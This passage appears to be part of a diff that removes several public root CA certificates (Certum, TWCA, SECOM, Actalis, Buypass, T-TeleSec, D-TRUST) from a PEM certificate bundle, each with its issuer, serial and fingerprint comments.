-MSIwIAYDVQQKExlVbml6ZXRvIFRlY2hub2xvZ2llcyBTLkEuMScwJQYDVQQLEx5D -ZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxIjAgBgNVBAMTGUNlcnR1bSBU -cnVzdGVkIE5ldHdvcmsgQ0EwHhcNMDgxMDIyMTIwNzM3WhcNMjkxMjMxMTIwNzM3 -WjB+MQswCQYDVQQGEwJQTDEiMCAGA1UEChMZVW5pemV0byBUZWNobm9sb2dpZXMg -Uy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MSIw -IAYDVQQDExlDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENBMIIBIjANBgkqhkiG9w0B -AQEFAAOCAQ8AMIIBCgKCAQEA4/t9o3K6wvDJFIf1awFO4W5AB7ptJ11/91sts1rH -UV+rpDKmYYe2bg+G0jACl/jXaVehGDldamR5xgFZrDwxSjh80gTSSyjoIF87B6LM -TXPb865Px1bVWqeWifrzq2jUI4ZZJ88JJ7ysbnKDHDBy3+Ci6dLhdHUZvSqeexVU -BBvXQzmtVSjF4hq79MDkrjhJM8x2hZ85RdKknvISjFH4fOQtf/WsX+sWn7Et0brM -kUJ3TCXJkDhv2/DM+44el1k+1WBO5gUo7Ul5E0u6SNsv+XLTOcr+H9g0cvW0QM8x -AcPs3hEtF10fuFDRXhmnad4HMyjKUJX5p1TLVIZQRan5SQIDAQABo0IwQDAPBgNV -HRMBAf8EBTADAQH/MB0GA1UdDgQWBBQIds3LB/8k9sXN7buQvOKEN0Z19zAOBgNV -HQ8BAf8EBAMCAQYwDQYJKoZIhvcNAQEFBQADggEBAKaorSLOAT2mo/9i0Eidi15y -sHhE49wcrwn9I0j6vSrEuVUEtRCjjSfeC4Jj0O7eDDd5QVsisrCaQVymcODU0HfL -I9MA4GxWL+FpDQ3Zqr8hgVDZBqWo/5U30Kr+4rP1mS1FhIrlQgnXdAIv94nYmem8 -J9RHjboNRhx3zxSkHLmkMcScKHQDNP8zGSal6Q10tz6XxnboJ5ajZt3hrvJBW8qY -VoNzcOSGGtIxQbovvi0TWnZvTuhOgQ4/WwMioBK+ZlgRSssDxLQqKi2WF+A5VLxI -03YnnZotBqbJ7DnSq9ufmgsnAjUpsUCV5/nonFWIGUbWtzT1fs45mtk48VH3Tyw= ------END CERTIFICATE----- - -# Issuer: CN=TWCA Root Certification Authority O=TAIWAN-CA OU=Root CA -# Subject: CN=TWCA Root Certification Authority O=TAIWAN-CA OU=Root CA -# Label: "TWCA Root Certification Authority" -# Serial: 1 -# MD5 Fingerprint: aa:08:8f:f6:f9:7b:b7:f2:b1:a7:1e:9b:ea:ea:bd:79 -# SHA1 Fingerprint: cf:9e:87:6d:d3:eb:fc:42:26:97:a3:b5:a3:7a:a0:76:a9:06:23:48 -# SHA256 Fingerprint: bf:d8:8f:e1:10:1c:41:ae:3e:80:1b:f8:be:56:35:0e:e9:ba:d1:a6:b9:bd:51:5e:dc:5c:6d:5b:87:11:ac:44 ------BEGIN CERTIFICATE----- -MIIDezCCAmOgAwIBAgIBATANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJUVzES -MBAGA1UECgwJVEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFU -V0NBIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDgwODI4MDcyNDMz -WhcNMzAxMjMxMTU1OTU5WjBfMQswCQYDVQQGEwJUVzESMBAGA1UECgwJVEFJV0FO -LUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NBIFJvb3QgQ2VydGlm -aWNhdGlvbiBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB -AQCwfnK4pAOU5qfeCTiRShFAh6d8WWQUe7UREN3+v9XAu1bihSX0NXIP+FPQQeFE -AcK0HMMxQhZHhTMidrIKbw/lJVBPhYa+v5guEGcevhEFhgWQxFnQfHgQsIBct+HH -K3XLfJ+utdGdIzdjp9xCoi2SBBtQwXu4PhvJVgSLL1KbralW6cH/ralYhzC2gfeX -RfwZVzsrb+RH9JlF/h3x+JejiB03HFyP4HYlmlD4oFT/RJB2I9IyxsOrBr/8+7/z -rX2SYgJbKdM1o5OaQ2RgXbL6Mv87BK9NQGr5x+PvI/1ry+UPizgN7gr8/g+YnzAx -3WxSZfmLgb4i4RxYA7qRG4kHAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNV -HRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqOFsmjd6LWvJPelSDGRjjCDWmujANBgkq -hkiG9w0BAQUFAAOCAQEAPNV3PdrfibqHDAhUaiBQkr6wQT25JmSDCi/oQMCXKCeC -MErJk/9q56YAf4lCmtYR5VPOL8zy2gXE/uJQxDqGfczafhAJO5I1KlOy/usrBdls -XebQ79NqZp4VKIV66IIArB6nCWlWQtNoURi+VJq/REG6Sb4gumlc7rh3zc5sH62D -lhh9DrUUOYTxKOkto557HnpyWoOzeW/vtPzQCqVYT0bf+215WfKEIlKuD8z7fDvn -aspHYcN6+NOSBB+4IIThNlQWx0DeO4pz3N/GCUzf7Nr/1FNCocnyYh0igzyXxfkZ -YiesZSLX0zzG5Y6yU8xJzrww/nsOM5D77dIUkR8Hrw== ------END CERTIFICATE----- - -# Issuer: O=SECOM Trust Systems CO.,LTD. OU=Security Communication RootCA2 -# Subject: O=SECOM Trust Systems CO.,LTD. OU=Security Communication RootCA2 -# Label: "Security Communication RootCA2" -# Serial: 0 -# MD5 Fingerprint: 6c:39:7d:a4:0e:55:59:b2:3f:d6:41:b1:12:50:de:43 -# SHA1 Fingerprint: 5f:3b:8c:f2:f8:10:b3:7d:78:b4:ce:ec:19:19:c3:73:34:b9:c7:74 -# SHA256 Fingerprint: 51:3b:2c:ec:b8:10:d4:cd:e5:dd:85:39:1a:df:c6:c2:dd:60:d8:7b:b7:36:d2:b5:21:48:4a:a4:7a:0e:be:f6 ------BEGIN CERTIFICATE----- -MIIDdzCCAl+gAwIBAgIBADANBgkqhkiG9w0BAQsFADBdMQswCQYDVQQGEwJKUDEl -MCMGA1UEChMcU0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEnMCUGA1UECxMe -U2VjdXJpdHkgQ29tbXVuaWNhdGlvbiBSb290Q0EyMB4XDTA5MDUyOTA1MDAzOVoX -DTI5MDUyOTA1MDAzOVowXTELMAkGA1UEBhMCSlAxJTAjBgNVBAoTHFNFQ09NIFRy -dXN0IFN5c3RlbXMgQ08uLExURC4xJzAlBgNVBAsTHlNlY3VyaXR5IENvbW11bmlj -YXRpb24gUm9vdENBMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANAV -OVKxUrO6xVmCxF1SrjpDZYBLx/KWvNs2l9amZIyoXvDjChz335c9S672XewhtUGr -zbl+dp+++T42NKA7wfYxEUV0kz1XgMX5iZnK5atq1LXaQZAQwdbWQonCv/Q4EpVM -VAX3NuRFg3sUZdbcDE3R3n4MqzvEFb46VqZab3ZpUql6ucjrappdUtAtCms1FgkQ -hNBqyjoGADdH5H5XTz+L62e4iKrFvlNVspHEfbmwhRkGeC7bYRr6hfVKkaHnFtWO -ojnflLhwHyg/i/xAXmODPIMqGplrz95Zajv8bxbXH/1KEOtOghY6rCcMU/Gt1SSw -awNQwS08Ft1ENCcadfsCAwEAAaNCMEAwHQYDVR0OBBYEFAqFqXdlBZh8QIH4D5cs -OPEK7DzPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3 -DQEBCwUAA4IBAQBMOqNErLlFsceTfsgLCkLfZOoc7llsCLqJX2rKSpWeeo8HxdpF -coJxDjrSzG+ntKEju/Ykn8sX/oymzsLS28yN/HH8AynBbF0zX2S2ZTuJbxh2ePXc -okgfGT+Ok+vx+hfuzU7jBBJV1uXk3fs+BXziHV7Gp7yXT2g69ekuCkO2r1dcYmh8 -t/2jioSgrGK+KwmHNPBqAbubKVY8/gA3zyNs8U6qtnRGEmyR7jTV7JqR50S+kDFy -1UkC9gLl9B/rfNmWVan/7Ir5mUf/NVoCqgTLiluHcSmRvaS0eg29mvVXIwAHIRc/ -SjnRBUkLp7Y3gaVdjKozXoEofKd9J+sAro03 ------END CERTIFICATE----- - -# Issuer: CN=Actalis Authentication Root CA O=Actalis S.p.A./03358520967 -# Subject: CN=Actalis Authentication Root CA O=Actalis S.p.A./03358520967 -# Label: "Actalis Authentication Root CA" -# Serial: 6271844772424770508 -# MD5 Fingerprint: 69:c1:0d:4f:07:a3:1b:c3:fe:56:3d:04:bc:11:f6:a6 -# SHA1 Fingerprint: f3:73:b3:87:06:5a:28:84:8a:f2:f3:4a:ce:19:2b:dd:c7:8e:9c:ac -# SHA256 Fingerprint: 55:92:60:84:ec:96:3a:64:b9:6e:2a:be:01:ce:0b:a8:6a:64:fb:fe:bc:c7:aa:b5:af:c1:55:b3:7f:d7:60:66 ------BEGIN CERTIFICATE----- -MIIFuzCCA6OgAwIBAgIIVwoRl0LE48wwDQYJKoZIhvcNAQELBQAwazELMAkGA1UE -BhMCSVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8w -MzM1ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290 -IENBMB4XDTExMDkyMjExMjIwMloXDTMwMDkyMjExMjIwMlowazELMAkGA1UEBhMC -SVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1 -ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290IENB -MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAp8bEpSmkLO/lGMWwUKNv -UTufClrJwkg4CsIcoBh/kbWHuUA/3R1oHwiD1S0eiKD4j1aPbZkCkpAW1V8IbInX -4ay8IMKx4INRimlNAJZaby/ARH6jDuSRzVju3PvHHkVH3Se5CAGfpiEd9UEtL0z9 -KK3giq0itFZljoZUj5NDKd45RnijMCO6zfB9E1fAXdKDa0hMxKufgFpbOr3JpyI/ -gCczWw63igxdBzcIy2zSekciRDXFzMwujt0q7bd9Zg1fYVEiVRvjRuPjPdA1Yprb -rxTIW6HMiRvhMCb8oJsfgadHHwTrozmSBp+Z07/T6k9QnBn+locePGX2oxgkg4YQ -51Q+qDp2JE+BIcXjDwL4k5RHILv+1A7TaLndxHqEguNTVHnd25zS8gebLra8Pu2F -be8lEfKXGkJh90qX6IuxEAf6ZYGyojnP9zz/GPvG8VqLWeICrHuS0E4UT1lF9gxe -KF+w6D9Fz8+vm2/7hNN3WpVvrJSEnu68wEqPSpP4RCHiMUVhUE4Q2OM1fEwZtN4F -v6MGn8i1zeQf1xcGDXqVdFUNaBr8EBtiZJ1t4JWgw5QHVw0U5r0F+7if5t+L4sbn -fpb2U8WANFAoWPASUHEXMLrmeGO89LKtmyuy/uE5jF66CyCU3nuDuP/jVo23Eek7 -jPKxwV2dpAtMK9myGPW1n0sCAwEAAaNjMGEwHQYDVR0OBBYEFFLYiDrIn3hm7Ynz -ezhwlMkCAjbQMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiIOsifeGbt -ifN7OHCUyQICNtAwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBCwUAA4ICAQAL -e3KHwGCmSUyIWOYdiPcUZEim2FgKDk8TNd81HdTtBjHIgT5q1d07GjLukD0R0i70 -jsNjLiNmsGe+b7bAEzlgqqI0JZN1Ut6nna0Oh4lScWoWPBkdg/iaKWW+9D+a2fDz -WochcYBNy+A4mz+7+uAwTc+G02UQGRjRlwKxK3JCaKygvU5a2hi/a5iB0P2avl4V -SM0RFbnAKVy06Ij3Pjaut2L9HmLecHgQHEhb2rykOLpn7VU+Xlff1ANATIGk0k9j -pwlCCRT8AKnCgHNPLsBA2RF7SOp6AsDT6ygBJlh0wcBzIm2Tlf05fbsq4/aC4yyX -X04fkZT6/iyj2HYauE2yOE+b+h1IYHkm4vP9qdCa6HCPSXrW5b0KDtst842/6+Ok -fcvHlXHo2qN8xcL4dJIEG4aspCJTQLas/kx2z/uUMsA1n3Y/buWQbqCmJqK4LL7R -K4X9p2jIugErsWx0Hbhzlefut8cl8ABMALJ+tguLHPPAUJ4lueAI3jZm/zel0btU -ZCzJJ7VLkn5l/9Mt4blOvH+kQSGQQXemOR/qnuOf0GZvBeyqdn6/axag67XH/JJU -LysRJyU3eExRarDzzFhdFPFqSBX/wge2sY0PjlxQRrM9vwGYT7JZVEc+NHt4bVaT -LnPqZih4zR0Uv6CPLy64Lo7yFIrM6bV8+2ydDKXhlg== ------END CERTIFICATE----- - -# Issuer: CN=Buypass Class 2 Root CA O=Buypass AS-983163327 -# Subject: CN=Buypass Class 2 Root CA O=Buypass AS-983163327 -# Label: "Buypass Class 2 Root CA" -# Serial: 2 -# MD5 Fingerprint: 46:a7:d2:fe:45:fb:64:5a:a8:59:90:9b:78:44:9b:29 -# SHA1 Fingerprint: 49:0a:75:74:de:87:0a:47:fe:58:ee:f6:c7:6b:eb:c6:0b:12:40:99 -# SHA256 Fingerprint: 9a:11:40:25:19:7c:5b:b9:5d:94:e6:3d:55:cd:43:79:08:47:b6:46:b2:3c:df:11:ad:a4:a0:0e:ff:15:fb:48 ------BEGIN CERTIFICATE----- -MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEd -MBsGA1UECgwUQnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3Mg -Q2xhc3MgMiBSb290IENBMB4XDTEwMTAyNjA4MzgwM1oXDTQwMTAyNjA4MzgwM1ow -TjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBhc3MgQVMtOTgzMTYzMzI3MSAw -HgYDVQQDDBdCdXlwYXNzIENsYXNzIDIgUm9vdCBDQTCCAiIwDQYJKoZIhvcNAQEB -BQADggIPADCCAgoCggIBANfHXvfBB9R3+0Mh9PT1aeTuMgHbo4Yf5FkNuud1g1Lr -6hxhFUi7HQfKjK6w3Jad6sNgkoaCKHOcVgb/S2TwDCo3SbXlzwx87vFKu3MwZfPV -L4O2fuPn9Z6rYPnT8Z2SdIrkHJasW4DptfQxh6NR/Md+oW+OU3fUl8FVM5I+GC91 -1K2GScuVr1QGbNgGE41b/+EmGVnAJLqBcXmQRFBoJJRfuLMR8SlBYaNByyM21cHx -MlAQTn/0hpPshNOOvEu/XAFOBz3cFIqUCqTqc/sLUegTBxj6DvEr0VQVfTzh97QZ -QmdiXnfgolXsttlpF9U6r0TtSsWe5HonfOV116rLJeffawrbD02TTqigzXsu8lkB -arcNuAeBfos4GzjmCleZPe4h6KP1DBbdi+w0jpwqHAAVF41og9JwnxgIzRFo1clr -Us3ERo/ctfPYV3Me6ZQ5BL/T3jjetFPsaRyifsSP5BtwrfKi+fv3FmRmaZ9JUaLi -FRhnBkp/1Wy1TbMz4GHrXb7pmA8y1x1LPC5aAVKRCfLf6o3YBkBjqhHk/sM3nhRS -P/TizPJhk9H9Z2vXUq6/aKtAQ6BXNVN48FP4YUIHZMbXb5tMOA1jrGKvNouicwoN -9SG9dKpN6nIDSdvHXx1iY8f93ZHsM+71bbRuMGjeyNYmsHVee7QHIJihdjK4TWxP -AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFMmAd+BikoL1Rpzz -uvdMw964o605MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAU18h -9bqwOlI5LJKwbADJ784g7wbylp7ppHR/ehb8t/W2+xUbP6umwHJdELFx7rxP462s -A20ucS6vxOOto70MEae0/0qyexAQH6dXQbLArvQsWdZHEIjzIVEpMMpghq9Gqx3t -OluwlN5E40EIosHsHdb9T7bWR9AUC8rmyrV7d35BH16Dx7aMOZawP5aBQW9gkOLo -+fsicdl9sz1Gv7SEr5AcD48Saq/v7h56rgJKihcrdv6sVIkkLE8/trKnToyokZf7 -KcZ7XC25y2a2t6hbElGFtQl+Ynhw/qlqYLYdDnkM/crqJIByw5c/8nerQyIKx+u2 -DISCLIBrQYoIwOula9+ZEsuK1V6ADJHgJgg2SMX6OBE1/yWDLfJ6v9r9jv6ly0Us -H8SIU653DtmadsWOLB2jutXsMq7Aqqz30XpN69QH4kj3Io6wpJ9qzo6ysmD0oyLQ -I+uUWnpp3Q+/QFesa1lQ2aOZ4W7+jQF5JyMV3pKdewlNWudLSDBaGOYKbeaP4NK7 -5t98biGCwWg5TbSYWGZizEqQXsP6JwSxeRV0mcy+rSDeJmAc61ZRpqPq5KM/p/9h -3PFaTWwyI0PurKju7koSCTxdccK+efrCh2gdC/1cacwG0Jp9VJkqyTkaGa9LKkPz -Y11aWOIv4x3kqdbQCtCev9eBCfHJxyYNrJgWVqA= ------END CERTIFICATE----- - -# Issuer: CN=Buypass Class 3 Root CA O=Buypass AS-983163327 -# Subject: CN=Buypass Class 3 Root CA O=Buypass AS-983163327 -# Label: "Buypass Class 3 Root CA" -# Serial: 2 -# MD5 Fingerprint: 3d:3b:18:9e:2c:64:5a:e8:d5:88:ce:0e:f9:37:c2:ec -# SHA1 Fingerprint: da:fa:f7:fa:66:84:ec:06:8f:14:50:bd:c7:c2:81:a5:bc:a9:64:57 -# SHA256 Fingerprint: ed:f7:eb:bc:a2:7a:2a:38:4d:38:7b:7d:40:10:c6:66:e2:ed:b4:84:3e:4c:29:b4:ae:1d:5b:93:32:e6:b2:4d ------BEGIN CERTIFICATE----- -MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEd -MBsGA1UECgwUQnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3Mg -Q2xhc3MgMyBSb290IENBMB4XDTEwMTAyNjA4Mjg1OFoXDTQwMTAyNjA4Mjg1OFow -TjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBhc3MgQVMtOTgzMTYzMzI3MSAw -HgYDVQQDDBdCdXlwYXNzIENsYXNzIDMgUm9vdCBDQTCCAiIwDQYJKoZIhvcNAQEB -BQADggIPADCCAgoCggIBAKXaCpUWUOOV8l6ddjEGMnqb8RB2uACatVI2zSRHsJ8Y -ZLya9vrVediQYkwiL944PdbgqOkcLNt4EemOaFEVcsfzM4fkoF0LXOBXByow9c3E -N3coTRiR5r/VUv1xLXA+58bEiuPwKAv0dpihi4dVsjoT/Lc+JzeOIuOoTyrvYLs9 -tznDDgFHmV0ST9tD+leh7fmdvhFHJlsTmKtdFoqwNxxXnUX/iJY2v7vKB3tvh2PX -0DJq1l1sDPGzbjniazEuOQAnFN44wOwZZoYS6J1yFhNkUsepNxz9gjDthBgd9K5c -/3ATAOux9TN6S9ZV+AWNS2mw9bMoNlwUxFFzTWsL8TQH2xc519woe2v1n/MuwU8X -KhDzzMro6/1rqy6any2CbgTUUgGTLT2G/H783+9CHaZr77kgxve9oKeV/afmiSTY -zIw0bOIjL9kSGiG5VZFvC5F5GQytQIgLcOJ60g7YaEi7ghM5EFjp2CoHxhLbWNvS -O1UQRwUVZ2J+GGOmRj8JDlQyXr8NYnon74Do29lLBlo3WiXQCBJ31G8JUJc9yB3D -34xFMFbG02SrZvPAXpacw8Tvw3xrizp5f7NJzz3iiZ+gMEuFuZyUJHmPfWupRWgP -K9Dx2hzLabjKSWJtyNBjYt1gD1iqj6G8BaVmos8bdrKEZLFMOVLAMLrwjEsCsLa3 -AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFEe4zf/lb+74suwv -Tg75JbCOPGvDMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAACAj -QTUEkMJAYmDv4jVM1z+s4jSQuKFvdvoWFqRINyzpkMLyPPgKn9iB5btb2iUspKdV -cSQy9sgL8rxq+JOssgfCX5/bzMiKqr5qb+FJEMwx14C7u8jYog5kV+qi9cKpMRXS -IGrs/CIBKM+GuIAeqcwRpTzyFrNHnfzSgCHEy9BHcEGhyoMZCCxt8l13nIoUE9Q2 -HJLw5QY33KbmkJs4j1xrG0aGQ0JfPgEHU1RdZX33inOhmlRaHylDFCfChQ+1iHsa -O5S3HWCntZznKWlXWpuTekMwGwPXYshApqr8ZORK15FTAaggiG6cX0S5y2CBNOxv -033aSF/rtJC8LakcC6wc1aJoIIAE1vyxjy+7SjENSoYc6+I2KSb12tjE8nVhz36u -dmNKekBlk4f4HoCMhuWG1o8O/FMsYOgWYRqiPkN7zTlgVGr18okmAWiDSKIz6MkE -kbIRNBE+6tBDGR8Dk5AM/1E9V/RBbuHLoL7ryWPNbczk+DaqaJ3tvV2XcEQNtg41 -3OEMXbugUZTLfhbrES+jkkXITHHZvMmZUldGL1DPvTVp9D0VzgalLA8+9oG6lLvD -u79leNKGef9JOxqDDPDeeOzI8k1MGt6CKfjBWtrt7uYnXuhF0J0cUahoq0Tj0Itq -4/g7u9xN12TyUb7mqqta6THuBrxzvxNiCp/HuZc= ------END CERTIFICATE----- - -# Issuer: CN=T-TeleSec GlobalRoot Class 3 O=T-Systems Enterprise Services GmbH OU=T-Systems Trust Center -# Subject: CN=T-TeleSec GlobalRoot Class 3 O=T-Systems Enterprise Services GmbH OU=T-Systems Trust Center -# Label: "T-TeleSec GlobalRoot Class 3" -# Serial: 1 -# MD5 Fingerprint: ca:fb:40:a8:4e:39:92:8a:1d:fe:8e:2f:c4:27:ea:ef -# SHA1 Fingerprint: 55:a6:72:3e:cb:f2:ec:cd:c3:23:74:70:19:9d:2a:be:11:e3:81:d1 -# SHA256 Fingerprint: fd:73:da:d3:1c:64:4f:f1:b4:3b:ef:0c:cd:da:96:71:0b:9c:d9:87:5e:ca:7e:31:70:7a:f3:e9:6d:52:2b:bd ------BEGIN CERTIFICATE----- -MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUx -KzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAd -BgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNl -YyBHbG9iYWxSb290IENsYXNzIDMwHhcNMDgxMDAxMTAyOTU2WhcNMzMxMDAxMjM1 -OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnBy -aXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50 -ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwggEiMA0G -CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC9dZPwYiJvJK7genasfb3ZJNW4t/zN -8ELg63iIVl6bmlQdTQyK9tPPcPRStdiTBONGhnFBSivwKixVA9ZIw+A5OO3yXDw/ -RLyTPWGrTs0NvvAgJ1gORH8EGoel15YUNpDQSXuhdfsaa3Ox+M6pCSzyU9XDFES4 -hqX2iys52qMzVNn6chr3IhUciJFrf2blw2qAsCTz34ZFiP0Zf3WHHx+xGwpzJFu5 -ZeAsVMhg02YXP+HMVDNzkQI6pn97djmiH5a2OK61yJN0HZ65tOVgnS9W0eDrXltM -EnAMbEQgqxHY9Bn20pxSN+f6tsIxO0rUFJmtxxr1XV/6B7h8DR/Wgx6zAgMBAAGj -QjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS1 -A/d2O2GCahKqGFPrAyGUv/7OyjANBgkqhkiG9w0BAQsFAAOCAQEAVj3vlNW92nOy -WL6ukK2YJ5f+AbGwUgC4TeQbIXQbfsDuXmkqJa9c1h3a0nnJ85cp4IaH3gRZD/FZ -1GSFS5mvJQQeyUapl96Cshtwn5z2r3Ex3XsFpSzTucpH9sry9uetuUg/vBa3wW30 -6gmv7PO15wWeph6KU1HWk4HMdJP2udqmJQV0eVp+QD6CSyYRMG7hP0HHRwA11fXT -91Q+gT3aSWqas+8QPebrb9HIIkfLzM8BMZLZGOMivgkeGj5asuRrDFR6fUNOuIml -e9eiPZaGzPImNC1qkp2aGtAw4l1OBLBfiyB+d8E9lYLRRpo7PHi4b6HQDWSieB4p -TpPDpFQUWw== ------END CERTIFICATE----- - -# Issuer: CN=D-TRUST Root Class 3 CA 2 2009 O=D-Trust GmbH -# Subject: CN=D-TRUST Root Class 3 CA 2 2009 O=D-Trust GmbH -# Label: "D-TRUST Root Class 3 CA 2 2009" -# Serial: 623603 -# MD5 Fingerprint: cd:e0:25:69:8d:47:ac:9c:89:35:90:f7:fd:51:3d:2f -# SHA1 Fingerprint: 58:e8:ab:b0:36:15:33:fb:80:f7:9b:1b:6d:29:d3:ff:8d:5f:00:f0 -# SHA256 Fingerprint: 49:e7:a4:42:ac:f0:ea:62:87:05:00:54:b5:25:64:b6:50:e4:f4:9e:42:e3:48:d6:aa:38:e0:39:e9:57:b1:c1 ------BEGIN CERTIFICATE----- -MIIEMzCCAxugAwIBAgIDCYPzMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAkRF -MRUwEwYDVQQKDAxELVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBD -bGFzcyAzIENBIDIgMjAwOTAeFw0wOTExMDUwODM1NThaFw0yOTExMDUwODM1NTha -ME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQKDAxELVRydXN0IEdtYkgxJzAlBgNVBAMM -HkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTCCASIwDQYJKoZIhvcNAQEB -BQADggEPADCCAQoCggEBANOySs96R+91myP6Oi/WUEWJNTrGa9v+2wBoqOADER03 -UAifTUpolDWzU9GUY6cgVq/eUXjsKj3zSEhQPgrfRlWLJ23DEE0NkVJD2IfgXU42 -tSHKXzlABF9bfsyjxiupQB7ZNoTWSPOSHjRGICTBpFGOShrvUD9pXRl/RcPHAY9R -ySPocq60vFYJfxLLHLGvKZAKyVXMD9O0Gu1HNVpK7ZxzBCHQqr0ME7UAyiZsxGsM -lFqVlNpQmvH/pStmMaTJOKDfHR+4CS7zp+hnUquVH+BGPtikw8paxTGA6Eian5Rp -/hnd2HN8gcqW3o7tszIFZYQ05ub9VxC1X3a/L7AQDcUCAwEAAaOCARowggEWMA8G -A1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFP3aFMSfMN4hvR5COfyrYyNJ4PGEMA4G -A1UdDwEB/wQEAwIBBjCB0wYDVR0fBIHLMIHIMIGAoH6gfIZ6bGRhcDovL2RpcmVj -dG9yeS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwUm9vdCUyMENsYXNzJTIwMyUy -MENBJTIwMiUyMDIwMDksTz1ELVRydXN0JTIwR21iSCxDPURFP2NlcnRpZmljYXRl -cmV2b2NhdGlvbmxpc3QwQ6BBoD+GPWh0dHA6Ly93d3cuZC10cnVzdC5uZXQvY3Js -L2QtdHJ1c3Rfcm9vdF9jbGFzc18zX2NhXzJfMjAwOS5jcmwwDQYJKoZIhvcNAQEL -BQADggEBAH+X2zDI36ScfSF6gHDOFBJpiBSVYEQBrLLpME+bUMJm2H6NMLVwMeni -acfzcNsgFYbQDfC+rAF1hM5+n02/t2A7nPPKHeJeaNijnZflQGDSNiH+0LS4F9p0 -o3/U37CYAqxva2ssJSRyoWXuJVrl5jLn8t+rSfrzkGkj2wTZ51xY/GXUl77M/C4K -zCUqNQT4YJEVdT1B/yMfGchs64JTBKbkTCJNjYy6zltz7GRUUG3RnFX7acM2w4y8 -PIWmawomDeCTmGCufsYkl4phX5GOZpIJhzbNi5stPvZR1FDUWSi9g/LMKHtThm3Y -Johw1+qRzT65ysCQblrGXnRl11z+o+I= ------END CERTIFICATE----- - -# Issuer: CN=D-TRUST Root Class 3 CA 2 EV 2009 O=D-Trust GmbH -# Subject: CN=D-TRUST Root Class 3 CA 2 EV 2009 O=D-Trust GmbH -# Label: "D-TRUST Root Class 3 CA 2 EV 2009" -# Serial: 623604 -# MD5 Fingerprint: aa:c6:43:2c:5e:2d:cd:c4:34:c0:50:4f:11:02:4f:b6 -# SHA1 Fingerprint: 96:c9:1b:0b:95:b4:10:98:42:fa:d0:d8:22:79:fe:60:fa:b9:16:83 -# SHA256 Fingerprint: ee:c5:49:6b:98:8c:e9:86:25:b9:34:09:2e:ec:29:08:be:d0:b0:f3:16:c2:d4:73:0c:84:ea:f1:f3:d3:48:81 ------BEGIN CERTIFICATE----- -MIIEQzCCAyugAwIBAgIDCYP0MA0GCSqGSIb3DQEBCwUAMFAxCzAJBgNVBAYTAkRF -MRUwEwYDVQQKDAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBD -bGFzcyAzIENBIDIgRVYgMjAwOTAeFw0wOTExMDUwODUwNDZaFw0yOTExMDUwODUw -NDZaMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQKDAxELVRydXN0IEdtYkgxKjAoBgNV -BAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAwOTCCASIwDQYJKoZI -hvcNAQEBBQADggEPADCCAQoCggEBAJnxhDRwui+3MKCOvXwEz75ivJn9gpfSegpn 